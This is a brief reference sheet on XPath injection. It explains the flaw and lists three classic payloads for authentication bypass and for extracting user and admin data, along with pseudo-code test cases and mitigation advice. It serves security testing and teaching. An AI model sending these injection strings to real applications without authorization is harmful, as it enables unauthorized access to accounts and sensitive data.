XPath Injection

XPath Injection

Description

XPath Injection occurs when untrusted data is used to construct XPath queries, allowing attackers to manipulate queries and access unauthorized data.

Example with Scenario

Scenario: A web application uses user input to build an XPath query for retrieving user information from an XML database. An attacker can inject malicious input to alter the query and retrieve sensitive data.

Payloads and Test Cases

Payloads

1. Bypassing Authentication:

   ' or '1'='1

2. Extracting Data:

   ' or name()='user' or '1'='1

3. Accessing Admin Data:

   ' or name()='admin' or '1'='1

Test Cases

1. Bypassing Authentication:

   • Payload:

     ' or '1'='1

   • Test Case:

     # Send payload to the server
     sendPayloadToServer("/login?username=' or '1'='1")
     # Verify if the application grants access
     checkAuthentication("any_user")

2. Extracting Data:

   • Payload:

     ' or name()='user' or '1'='1

   • Test Case:

     # Send payload to the server
     sendPayloadToServer("/data?query=' or name()='user' or '1'='1")
     # Verify if the application retrieves user data
     checkDataRetrieval("user")

3. Accessing Admin Data:

   • Payload:

     ' or name()='admin' or '1'='1

   • Test Case:

     # Send payload to the server
     sendPayloadToServer("/data?query=' or name()='admin' or '1'='1")
     # Verify if the application retrieves admin data
     checkDataRetrieval("admin")

Mitigation

1. Input Validation:

   • Validate and sanitize user input to ensure it does not contain malicious characters.

   • Use allow-lists to restrict input to expected values.

2. Parameterized Queries:

   • Use parameterized XPath queries to prevent injection attacks.

   • Avoid concatenating user input directly into XPath queries.

3. Escaping Input:

   • Escape special characters in user input to prevent query manipulation.

   • Implement proper encoding for all user-supplied data.

4. Framework Protections:

   • Use frameworks and libraries that provide built-in protection against XPath injection.

   • Enable and configure security features to prevent injection vulnerabilities.